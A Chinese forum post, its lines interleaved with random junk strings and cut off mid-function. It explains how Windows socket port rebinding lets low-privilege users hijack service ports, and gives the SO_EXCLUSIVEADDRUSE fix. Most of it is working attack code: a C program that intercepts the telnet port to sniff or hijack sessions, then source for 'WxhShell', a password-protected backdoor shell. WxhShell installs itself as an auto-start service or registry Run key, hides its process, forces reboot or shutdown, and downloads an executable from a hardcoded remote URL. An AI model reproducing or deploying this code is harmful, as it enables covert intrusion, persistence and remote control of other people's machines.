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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .?<M$38fv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]6:|-x:m  
lfle7;  
  saddr.sin_family = AF_INET; Mp%.o}j   
p }p@])}8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V'-}B6 3S>  
?W6qwm,?L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FabDK :  
{Kbb4%P+h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @y"/hh_?  
5X4 #T&.  
  这意味着什么?意味着可以进行如下的攻击: >#9 f{  
]2Vu+AP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z$a5vu*pg  
Z%rMX}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -^R6U~  
%3Ba9Nmid  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [9hslk  
g?TPRr~$9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T +a\dgd  
t>~a/K"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D@O#P^?  
( pDu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G}|!Jdr  
As5*)o"&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ||xiKg  
C[4{\3\Va  
  #include =hw&2c  
  #include _m?TEq B  
  #include `f|Gw5R  
  #include    *VP-fyJp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sf7~hN*  
  int main() t\\oG H  
  { [WfigqY`b*  
  WORD wVersionRequested; PU& v{gn  
  DWORD ret; B4l*]K%  
  WSADATA wsaData; 2aDjt{7P  
  BOOL val; h?8I`Z)h  
  SOCKADDR_IN saddr; u0o}rA  
  SOCKADDR_IN scaddr; %z9lCTmy  
  int err; z_;:6*l=:  
  SOCKET s; `rWT^E@p5m  
  SOCKET sc; .eNeq C  
  int caddsize; pW y+oZ  
  HANDLE mt; t9U-c5bR  
  DWORD tid;   M/d6I$~7z  
  wVersionRequested = MAKEWORD( 2, 2 ); B.Szp_$  
  err = WSAStartup( wVersionRequested, &wsaData ); l?f%2:}m  
  if ( err != 0 ) { qcmf*Yl:v  
  printf("error!WSAStartup failed!\n"); [. rULQl  
  return -1; 6d# 7  
  } 2#i*'.  
  saddr.sin_family = AF_INET; 4\#b@1]}  
   EC:u;2f!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4qYT  
'joc8o sS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :j<ij]rsI  
  saddr.sin_port = htons(23); _aaQ1A`p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |/YwMBi  
  { ,f[`C-\Q%  
  printf("error!socket failed!\n"); ?=},%^  
  return -1; R(1N]>  
  } *LZB.84  
  val = TRUE; `mt x+C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dlf nhf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _rN1(=J  
  { <N~&Leh  
  printf("error!setsockopt failed!\n"); -W\1n#J  
  return -1; &{R]v/{p]  
  } SK]"JSY`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f|r +qe  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,q".d =6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eoGGWW@[  
yGs:3KI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |<aF)S4  
  { g'pB<?'E'  
  ret=GetLastError(); S9;:)  
  printf("error!bind failed!\n"); 9aa cW  
  return -1; 6?(Z f  
  } d1{%z\u a  
  listen(s,2); h!!7LPxt  
  while(1) ^5{0mn_4i  
  { .1q4Q\B<  
  caddsize = sizeof(scaddr); RAs5<US:  
  //接受连接请求 c_N'S_)~7Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;;]^d_  
  if(sc!=INVALID_SOCKET) !uxma~ZH-  
  { A.|98*U%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z]V%&f  
  if(mt==NULL) r;"uk+{i  
  { DxvD 1u   
  printf("Thread Creat Failed!\n"); <uf,@N5m  
  break; hLo>jE  
  } AnW72|=A(  
  } .~C[D T+,  
  CloseHandle(mt); nuucYm%IF-  
  } P-LdzVt(^  
  closesocket(s); )zMsKfQ  
  WSACleanup(); cg| C S?  
  return 0; qN@-H6D1=  
  }   h+ggrwg'  
  DWORD WINAPI ClientThread(LPVOID lpParam) }~bx==SF6!  
  { 1=^edQ+   
  SOCKET ss = (SOCKET)lpParam; %gbvX^E?  
  SOCKET sc; Od?b(bE.]  
  unsigned char buf[4096]; R]xXG0  
  SOCKADDR_IN saddr; 9bb 5?b/  
  long num; L>X39R~  
  DWORD val; VUbg{Rb)  
  DWORD ret; 6?uo6 I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lD]/Kx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ){M)0,:  
  saddr.sin_family = AF_INET; bmd3fJb`r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |Ev V S  
  saddr.sin_port = htons(23); J69B1Yi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yu9 8d1  
  { 6d#:v"^,  
  printf("error!socket failed!\n"); [ }1+=Ub  
  return -1; ,enU`}9V*  
  } '>aj5tZ>R  
  val = 100; vq_v;$9}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  cq,8^o&  
  { 7eP3pg#  
  ret = GetLastError(); 7zWr5U.  
  return -1; 8(kP=   
  } l6y*SW5+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Uoqt  
  { wx*)7Y*  
  ret = GetLastError();  o8h1  
  return -1; /q\{OsrX  
  } a]%>7yr4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /t;Kn m  
  { >"%}x{|  
  printf("error!socket connect failed!\n"); BSc5@;  
  closesocket(sc); 8^U+P%  
  closesocket(ss); 863PVce",}  
  return -1; =zX A0%  
  } TD"w@jBA  
  while(1) kM o7mkV  
  { meM61ue_2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 laX67Vjv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )m4O7'2G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o?]g  
  num = recv(ss,buf,4096,0); 9+"\7MHw  
  if(num>0) mq!_/3  
  send(sc,buf,num,0); Tu9[byfrI  
  else if(num==0) +^tw@b  
  break; q#|,4( Z  
  num = recv(sc,buf,4096,0); ]$xN`O4W{  
  if(num>0) *(*3/P4D  
  send(ss,buf,num,0); c_+y~X)i  
  else if(num==0) RLL2'8"A  
  break; =c1t]%P,  
  } se,0Rvkt  
  closesocket(ss); Kulh:d:w  
  closesocket(sc); HyX:4f|]'  
  return 0 ; q7-.-k<dQ  
  } _6/q.  
Lr;PESV  
.C7;T'>!  
========================================================== 25-5X3(>j=  
|v?*}6:a  
下边附上一个代码,,WXhSHELL e/nc[  
:f|X$> b  
========================================================== dLnu\bSF  
,f2tG+P  
#include "stdafx.h" [7|j:!  
{ kF"<W  
#include <stdio.h> Rd|xw%R\mb  
#include <string.h> fD:>cje  
#include <windows.h> Eg;xj@S<2  
#include <winsock2.h> SPEDN}/^  
#include <winsvc.h> [ta3sEPjs  
#include <urlmon.h> @ApX43U(  
 d(>  
#pragma comment (lib, "Ws2_32.lib") )?qH#>mD6  
#pragma comment (lib, "urlmon.lib") tMQz'3,X  
/`"&n1  
#define MAX_USER   100 // 最大客户端连接数 I[$SVPe#  
#define BUF_SOCK   200 // sock buffer 9YjO  
#define KEY_BUFF   255 // 输入 buffer N-9qNLSP  
@*}?4wU^k  
#define REBOOT     0   // 重启 SGUu\yS&s  
#define SHUTDOWN   1   // 关机 f:6%DT~a&C  
5J0Sc  
#define DEF_PORT   5000 // 监听端口 b( qO fek  
(}:n#|,{M  
#define REG_LEN     16   // 注册表键长度 o 2Okc><z  
#define SVC_LEN     80   // NT服务名长度 3Hg}G#]WS  
7x ?2((   
// 从dll定义API cy+EJq I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #ekz>/Im*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^,;AM(E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z-wvdw]$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZZJXd+Q}  
;s(uaC3  
// wxhshell配置信息 RxZ#`$F  
struct WSCFG { ))z1T8  
  int ws_port;         // 监听端口 48  |u{  
  char ws_passstr[REG_LEN]; // 口令 e_{!8u.+  
  int ws_autoins;       // 安装标记, 1=yes 0=no XnCrxj  
  char ws_regname[REG_LEN]; // 注册表键名 Js( "H  
  char ws_svcname[REG_LEN]; // 服务名 |Vq&IfP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3$hbb6N%6.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k=o>DaEh(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ""2g{!~r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fL7u419=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }G50?"^u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sHwn,4|iY  
.xIu  
}; vs|_l!n3  
)rP)-op|A  
// default Wxhshell configuration FJj #  
struct WSCFG wscfg={DEF_PORT, |loo ^!I  
    "xuhuanlingzhe", x22:@Ot6  
    1, AT6:&5_`  
    "Wxhshell", >*"6zR2 o  
    "Wxhshell", @uaf&my,P  
            "WxhShell Service", O alBr?^  
    "Wrsky Windows CmdShell Service", O{F)|<L(G  
    "Please Input Your Password: ", 7:>VH>?D  
  1, -Ze{d$  
  "http://www.wrsky.com/wxhshell.exe", !;1$1xWK  
  "Wxhshell.exe" O*d4zBT  
    }; NX5A{  
d|, B* N(w  
// 消息定义模块 Y=-ILN("  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rW&# Xw/a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZO!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,*w  
char *msg_ws_ext="\n\rExit."; BL&D|e  
char *msg_ws_end="\n\rQuit."; *~0Ko{Avc  
char *msg_ws_boot="\n\rReboot..."; ]XAJ|[]sj*  
char *msg_ws_poff="\n\rShutdown..."; ZX Sl+k .  
char *msg_ws_down="\n\rSave to "; p>c`GDU  
.}V&*-ep  
char *msg_ws_err="\n\rErr!"; ,%a7sk<5k  
char *msg_ws_ok="\n\rOK!"; hDf|9}/UQd  
'\iWp?`$  
char ExeFile[MAX_PATH]; 53w@  
int nUser = 0; ;N FTdP  
HANDLE handles[MAX_USER]; k;?Oi?]  
int OsIsNt; 3nJd0E  
ctzaqsr  
SERVICE_STATUS       serviceStatus; +-B`Fya  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eyiGe1^C  
YsHZFF  
// 函数声明 (DW[#2\.  
int Install(void); ZSu0e%  
int Uninstall(void); /0J1_g  
int DownloadFile(char *sURL, SOCKET wsh); DrTo")T  
int Boot(int flag); XazKS4(  
void HideProc(void); TBzOz:k  
int GetOsVer(void); }uTe(Rf  
int Wxhshell(SOCKET wsl); =c>w  
void TalkWithClient(void *cs); guC7!P^  
int CmdShell(SOCKET sock); J f,)Y>EI  
int StartFromService(void); b BFdr  
int StartWxhshell(LPSTR lpCmdLine); !w[io;  
:Gdfpz-{?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FrXh\4C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N{f4-i~  
t`XY Y  
// 数据结构和表定义 K^_Mt!%  
SERVICE_TABLE_ENTRY DispatchTable[] = 1YklPMx6  
{ /<Doe SDJ|  
{wscfg.ws_svcname, NTServiceMain}, h]#wwJF  
{NULL, NULL} 7fOk]Yl[  
}; tv+H4/  
| Ts0h?"a  
// 自我安装 =7Wr  
int Install(void) g`skmHS89  
{ V|h/a\P  
  char svExeFile[MAX_PATH]; t1I` n(]n  
  HKEY key; +6xEz67A<  
  strcpy(svExeFile,ExeFile); dUTF0U  
73C  
// 如果是win9x系统,修改注册表设为自启动 AV0C9a/td  
if(!OsIsNt) { 1f"LAs`%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ![v@+9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w;;.bz m  
  RegCloseKey(key); -cjwa-9 ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ikkv <uY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $=? CW(  
  RegCloseKey(key); :PrQ]ss@C5  
  return 0; !U@?Va~Zn  
    } "o*zZ;>^  
  } }/%(7Ff{  
} ^}-(8~_en  
else { {ER%r'(4Z  
6tE<`"P!  
// 如果是NT以上系统,安装为系统服务 =/k*w#j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O!b >  
if (schSCManager!=0) j]#-DIL  
{ ' Vp6=,P  
  SC_HANDLE schService = CreateService  4I> I  
  ( 9Fl}"p[>L.  
  schSCManager, rSYzrVc  
  wscfg.ws_svcname, z k[%YG&  
  wscfg.ws_svcdisp, v;9VX   
  SERVICE_ALL_ACCESS, 31n5n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S=^a''bg  
  SERVICE_AUTO_START, S)@95pb  
  SERVICE_ERROR_NORMAL, cNW [i"  
  svExeFile, P8JN m"C  
  NULL, 4No!`O-!&  
  NULL, FZM9aA  
  NULL, GHMoT  
  NULL, "G8w}n:y  
  NULL v@43 %`"Gj  
  ); tNskB`541  
  if (schService!=0) 0Wf,SYx`s  
  { }Om+,!_d  
  CloseServiceHandle(schService); TB]B l.  
  CloseServiceHandle(schSCManager); %}U-g"I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x}.Q9L  
  strcat(svExeFile,wscfg.ws_svcname); s^nwF>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GRanR'xG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J^@0Ff;=5^  
  RegCloseKey(key); EV:y}  
  return 0; U20G{%%  
    } $lj1924?^  
  } *3hqz<p4:  
  CloseServiceHandle(schSCManager); 3f`+ -&|M  
} e ,_b  
} glk_ *x  
5-L?JD 4&  
return 1; #L-3eW=f  
} xud  
(ia(y(=C  
// 自我卸载 {]\Q UXH  
int Uninstall(void) =TDK$Ek  
{ QD0upYG  
  HKEY key; #'Q_eBX  
aDx{Q&  
if(!OsIsNt) { G[YbgG=9Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &)Fp  
  RegDeleteValue(key,wscfg.ws_regname); Oj# nF@U  
  RegCloseKey(key); Z2Bl$ \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;as4EqiK  
  RegDeleteValue(key,wscfg.ws_regname); m8Q6ESg<*u  
  RegCloseKey(key); d jeax  
  return 0; G)b6Rit  
  } y ?FKou'  
} %f.(^<G u  
} DRLX0Ml]\  
else { $=f,z>j  
5$Yt@8;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TxYxB1C)  
if (schSCManager!=0) VJMn5v[V  
{ L;=<d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Gw6*0& 3')  
  if (schService!=0) JVAJL q  
  { (]Z%&>*  
  if(DeleteService(schService)!=0) { `z$<1Q T  
  CloseServiceHandle(schService); J9^RP~>bs  
  CloseServiceHandle(schSCManager); )1a3W7  
  return 0; Oo<^~d2=  
  } YCwfrz  
  CloseServiceHandle(schService); $X~4J  
  } +I0?D  
  CloseServiceHandle(schSCManager); -r_/b  
} 3&!X8Lhv  
} C,R_` %b%  
3u7^*$S  
return 1; /JL2dBy#z  
} d18%zY>  
{~a=aOS  
// 从指定url下载文件 k,S'i#4q4  
int DownloadFile(char *sURL, SOCKET wsh) c+/SvRx^>  
{ NZ/>nNs  
  HRESULT hr; RsS?ibozl  
char seps[]= "/"; SrfDl*  
char *token; !o2lB^e8  
char *file; tY<D\T   
char myURL[MAX_PATH]; rrei6$H&  
char myFILE[MAX_PATH]; F4i c^F{K  
4r!8_$fN?G  
strcpy(myURL,sURL); ]3<k>?  
  token=strtok(myURL,seps); _f%Wk>A4  
  while(token!=NULL) lH/d#MT   
  { ajuwP1I  
    file=token; YLSp$d4y  
  token=strtok(NULL,seps); Z |uII#lq  
  } \$ L2xd  
yz!j9pJ  
GetCurrentDirectory(MAX_PATH,myFILE); IiV:bHUE}0  
strcat(myFILE, "\\"); F{\MIuoy  
strcat(myFILE, file); -.: [a3c?  
  send(wsh,myFILE,strlen(myFILE),0); ;"=a-$vm  
send(wsh,"...",3,0); dOArXp`s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +1Oi-$ 2-  
  if(hr==S_OK) ?<\ K!dA  
return 0; ~p{.4n2:  
else Q_'3}:4  
return 1; zFh JLH*C  
lL~T@+J~  
} 0t<]Uf  
Mt)`hR+2  
// 系统电源模块 eLcP.;Z  
int Boot(int flag) EUj'%;s z-  
{ ~HD:Y7  
  HANDLE hToken; CRvUD.D  
  TOKEN_PRIVILEGES tkp; $[iSZ;  
GcQO&oq|  
  if(OsIsNt) { r*<)QP^B~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]?tsYXU j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <l(6$~(-u  
    tkp.PrivilegeCount = 1; RuDn1h#u{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .WA(X5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A {lzQO  
if(flag==REBOOT) { 7nB@U$]-Sz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |D%i3@P&ZR  
  return 0; nmp(%;<exN  
} 6|3$43J,F  
else { ~M%r.WFpA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,2vPmff  
  return 0; stz1e dP  
} ymSGB`CP  
  } P]-d (N}/H  
  else { VZ{aET!  
if(flag==REBOOT) { DYJ@>8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WK]SHiHD  
  return 0; LX[J6YKR  
} iy Zs:4jkc  
else { PhF3' ">  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?J,hv'L]  
  return 0; &yv%"BPV  
} -XIjol(  
} @ 'rk[S}A  
Ia$&SS)K  
return 1; g4 _DEBh  
} ,#rl"  
703=.xj  
// win9x进程隐藏模块 |U%S<X  
void HideProc(void) O/$pT%D1x  
{ f m.-*`ax  
M0DdrL/ L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &mDKpYrB  
  if ( hKernel != NULL ) \[oU7r}?/V  
  { {`BC$V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9'C kV[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D`PnY&ffT  
    FreeLibrary(hKernel); EAp6IhW{  
  } :\x53-&hO4  
;LNFPo   
return; Ath^UKO"  
} aPaGnP:^  
qlmz@kTb  
// 获取操作系统版本 iD#HB o  
int GetOsVer(void) C"_f3[Z  
{ 8P.UB{QNe  
  OSVERSIONINFO winfo; X6%w6%su5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v;AMx-_WH  
  GetVersionEx(&winfo); JyWBLi;Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DesvnV'{`  
  return 1; %m1k^  
  else c%c/mata?  
  return 0;  (-DA%  
} (nfra,'  
+lmMBjDa  
// 客户端句柄模块 u}hQF $a"  
int Wxhshell(SOCKET wsl) }2-<}m9}  
{ O= PFr"  
  SOCKET wsh; #+p30?r0y  
  struct sockaddr_in client; Lzu;"#pw  
  DWORD myID; I^ sWf3'db  
YG$2ySkDhE  
  while(nUser<MAX_USER) Z W` Ur>  
{ VQV7W  
  int nSize=sizeof(client); EL $"MT}p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); saQA:W;  
  if(wsh==INVALID_SOCKET) return 1; p"f=[awp  
-q\5)nY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4Waot  
if(handles[nUser]==0) ^:W.R7|  
  closesocket(wsh); %Uybp  
else +c#:;&Gs  
  nUser++; ik02Q,J  
  } =( b;Cow  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); betN-n-  
) \Mwv&k1  
  return 0; K[Bq,nPo  
} pZp|F  
X~t]qT  
// 关闭 socket XH&Fn+  
void CloseIt(SOCKET wsh) 3>qUYxG8  
{ VQF!|*#  
closesocket(wsh); B4 5B`Ay  
nUser--; Y\luz`v  
ExitThread(0); \)859x&(  
} n-[J+DdB  
 uZ][#[u  
// 客户端请求句柄 GCCmUR9d  
void TalkWithClient(void *cs) b{qeu$G R  
{ g=.~_&O  
=\.Oc+p4  
  SOCKET wsh=(SOCKET)cs; %:oyHlz%  
  char pwd[SVC_LEN]; D"_~Njf  
  char cmd[KEY_BUFF]; I9P< !#q>  
char chr[1]; E;\XZ<E  
int i,j; ),%/T,!@  
|E$Jt-'  
  while (nUser < MAX_USER) { 5&q@;vR  
{bnNY  
if(wscfg.ws_passstr) { bG=CIa&@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V0+D{|thh6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |$@/ Z +  
  //ZeroMemory(pwd,KEY_BUFF); $by-?z((  
      i=0;  ^! /7  
  while(i<SVC_LEN) { l4u@0;6P  
;m$F~!Y  
  // 设置超时 =t1.j=oC  
  fd_set FdRead; d (]t}  
  struct timeval TimeOut; un0t zz  
  FD_ZERO(&FdRead); }Zu2GU$6  
  FD_SET(wsh,&FdRead); (yQ]n91Q,  
  TimeOut.tv_sec=8; 7qSlqA<Hs  
  TimeOut.tv_usec=0; Dt?O_Bdv[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2xRb$QF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d&'z0]mOe  
K_j$iHqLF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <(W0N|1v  
  pwd=chr[0]; yyZH1A  
  if(chr[0]==0xd || chr[0]==0xa) {  ,!_  
  pwd=0; 2h0I1a,7  
  break; 49n.Gc  
  } V3baEy>=z  
  i++; B%!z7AT  
    } 2zR*`9$  
J7X-=E D  
  // 如果是非法用户,关闭 socket 1 Y_e1tgmm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =$601r  
} f 'aQ T  
']^e,9=Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KpBh@S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8;9GM^L  
n's3!HQY[  
while(1) { bsVms,&  
Pm; /Ua  
  ZeroMemory(cmd,KEY_BUFF); 5(bG  
qQN&uBQ[  
      // 自动支持客户端 telnet标准   eIc~J!?<&V  
  j=0; {H s" "/sb  
  while(j<KEY_BUFF) { dgPJte%i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;hR!j!3}  
  cmd[j]=chr[0]; e'aKI]>a  
  if(chr[0]==0xa || chr[0]==0xd) { :0>wm@qCQ  
  cmd[j]=0; v<bq1QG  
  break; `HU`=a&d  
  } G?12?2  
  j++; pv039~Sud  
    } f" Yj'`6  
j{N;2#.u  
  // 下载文件 Z'dY,<@  
  if(strstr(cmd,"http://")) { ~a m]G0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )l*H$8  
  if(DownloadFile(cmd,wsh)) }/BwFB+(/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?TLEZlB2"  
  else 0(#HMBE8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LB%_FT5  
  } KY/}jJW  
  else { w~M5)b  
KTxdZt  
    switch(cmd[0]) { on(P  
  , M$*c  
  // 帮助 SPW @TF1  
  case '?': { d_#\^!9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m>2b %GTh  
    break; lGqwB,K$z4  
  } P$_Y:XI !  
  // 安装 !3Fj`Oh  
  case 'i': { W+PAlsOC  
    if(Install()) Ne*I$T 5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xjOy3_Js  
    else bT-(lIU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J]ivIQ  
    break; |#R;pEn  
    } ,S;?3?a  
  // 卸载 'dM &~L SQ  
  case 'r': { -yfyd$5j  
    if(Uninstall()) #C|:]moe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ou/@!Y1  
    else * JGm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iQ*JU2;7 t  
    break; d+~c$(M)  
    } VBR@f<2L  
  // 显示 wxhshell 所在路径 ;5#P?   
  case 'p': { f2[z)j7  
    char svExeFile[MAX_PATH]; OTd=(dwh  
    strcpy(svExeFile,"\n\r"); |s|>46E  
      strcat(svExeFile,ExeFile); !Jb?r SJ.h  
        send(wsh,svExeFile,strlen(svExeFile),0); =O1CxsKt6  
    break; T3Kq1 Rh  
    } lJoMJS;S]}  
  // 重启 7>xxur&  
  case 'b': { 5b9_6L6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n|NI]Qi*  
    if(Boot(REBOOT)) wRf_IBhCd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  1JgnuBX"  
    else { Tz58@VYV  
    closesocket(wsh); `ea;qWy  
    ExitThread(0); u(02{V  
    } lT$Vv= M  
    break; tr7FV1p  
    } }aXc,;Ps  
  // 关机 hd9fD[5  
  case 'd': { AM##:4   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yXY8 o E  
    if(Boot(SHUTDOWN)) }r`!p5\$K0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#%Y]1 *  
    else { }txHuq1Q.  
